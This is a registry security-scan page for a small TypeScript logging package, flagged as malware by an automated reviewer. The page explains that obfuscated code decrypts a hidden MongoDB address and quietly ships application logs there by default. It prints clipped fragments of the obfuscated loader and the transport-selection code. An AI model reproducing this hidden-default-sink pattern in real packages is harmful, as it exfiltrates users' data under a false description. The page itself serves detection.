registry / tsrml612 / 0.1.0

tsrml612@0.1.0

Tiny TypeScript library for structured logging and health checks.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Calling createLogger without a transport, endpoint, or URI chooses an encrypted embedded MongoDB target. Logged messages and context are batched and transmitted when flushed or on the timer.

Static reason

One or more suspicious static signals were detected.

Trigger

Application imports the package, calls createLogger with defaults, and emits logs.

Impact

Application log messages and attached context are sent to an undisclosed remote database.

Mechanism

Hidden default MongoDB logging exfiltration

Attack narrative

The package disguises a remote logging destination as an encrypted word payload. Its default logger selects Mongo transport when the caller does not supply a transport, HTTP endpoint, or URI, then connects to the decrypted target and inserts batched log records. This makes ordinary logger use transmit application messages and arbitrary context to an undisclosed remote service.

Rationale

The concealed default remote destination and automatic transmission of user log data form a concrete data-exfiltration path. No lifecycle hook is needed because the behavior activates during normal advertised runtime use.

Evidence

dist/index.jsdist/mongo.d.tsREADME.mdpackage.json

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

Obfuscated entrypoint embeds and decrypts a default MongoDB URI.
Default logger path selects Mongo transport and sends queued user log records to it.
The default remote target is hidden despite README implying console transport.

Evidence against

No install, preinstall, or postinstall lifecycle hook.
HTTP transport endpoint is caller-supplied.

Behavioral surface

Source

DynamicRequire

Supply chain

HighEntropyStringsTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 19.9 KB of source

Source & flagged code

7 flagged

dist/index.cjsView file

Lines 1-1javascript

1'use strict';const w7=t;function t(w,k){w=w-(0x40a+0xb*-0x371+0x2388);const h=Z();let z=h[w];if(t['XzHDUL']===undefined){var b=function(C){const I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let n='',H='';for(let d=-0xaf2*-0x3+-0x51b*-0x1+0xb*-0x373,E,V,u=-0x1231*-0x2+-0x18e*-0x5+0x48*-0x9d;V=C['charAt'](u++);~V&&(E=d%(-0x1d7*-0xb+-0x1f87+0xb4e)?E*(-0x46d+0x268d+-0x878*0x4)+V:V,d++%(0x117b+0x7bc+0x1933*-0x1))?n+=String['fromCharCode'](-0x8*0x201+-0x131f*-0x1+-0x4*0x86&E>>(-(-0x184b+-0x1*-0x23d9+-0xb8c)*d&0x1b91+-0x107f+-0x1*0xb0c)):-0x1fdb+0x2ff+-0x1*-0x1cdc){V=I['index ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

Long lines were clipped for display.

dist/index.jsView file

Lines 1-1javascript

1const wZ=t;function t(w,k){w=w-(0x2245+-0x1*0x1a3d+-0x660);const h=Z

dist/mongo.d.tsView file

Lines 1-23typescript

1import { MongoClient } from "mongodb";

2import type { Transport } from "./types.js";

3/** Decrypts the embedded default connection string on first use, then caches it. */

High

Ai Review Evidence

The default remote target is hidden despite README implying console transport.

dist/mongo.d.tsView on unpkg · L3

4export declare

README.mdView file

Lines 51-91markdown

52Records are formatted as structured log objects:

54```json

55{

56 "level": "warn",

57 "message": "slow query",

58 "time": "2026-08-22T10:04:11.238Z",

Source & flagged code

7 flagged · loading source

dist/index.cjsView file

1'use strict';const w7=t;function t(w,k){w=w-(0x40a+0xb*-0x371+0x2388);const h=Z();let z=h[w];if(t['XzHDUL']===undefined){var b=function(C){const I='[redacted]...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

dist/index.jsView file

1const wZ=t;function t(w,k){w=w-(0x2245+-0x1*0x1a3d+-0x660);const h=Z();let z=h[w];if(t['BrvuVP']===undefined){var b=function(C){const I='[redacted]...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

1function x(){return w===void(-0x16*0x12b+0x2568+0x2*-0x5db)&&(w=y(K,q)),w;

High

Ai Review Evidence

Obfuscated entrypoint embeds and decrypts a default MongoDB URI.

dist/index.jsView on unpkg · L1

1function Y(g){const wn=wZ;return g[wn(0x1dd)]?g['transport']:g[wn(0x1aa)]?h({'endpoint':g[wn(0x1aa)],'apiKey':g[wn(0x217)]}):v({'uri':g[wn(0x227)],'dbName':g[wn(0x1b3)],'collectionName':g[wn(0x22c)]});}

High

Ai Review Evidence

Default logger path selects Mongo transport and sends queued user log records to it.

dist/index.jsView on unpkg · L1

1new MongoClient(H??x())

High

Ai Review Evidence

Default logger path selects Mongo transport and sends queued user log records to it.

dist/index.jsView on unpkg · L1

dist/mongo.d.tsView file

3/** Decrypts the embedded default connection string on first use, then caches it. */

High

Ai Review Evidence

The default remote target is hidden despite README implying console transport.

dist/mongo.d.tsView on unpkg · L3

README.mdView file

71| `transport` | console | Custom `Transport` for handling batched records |

High

Ai Review Evidence

The default remote target is hidden despite README implying console transport.

README.mdView on unpkg · L71

Findings

6 High2 Medium3 Low

HighObfuscated Payload Loaderdist/index.js

HighAi Review Evidencedist/index.js

HighAi Review Evidencedist/mongo.d.ts

HighAi Review EvidenceREADME.md

MediumDynamic Requiredist/index.cjs

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowHigh Entropy Strings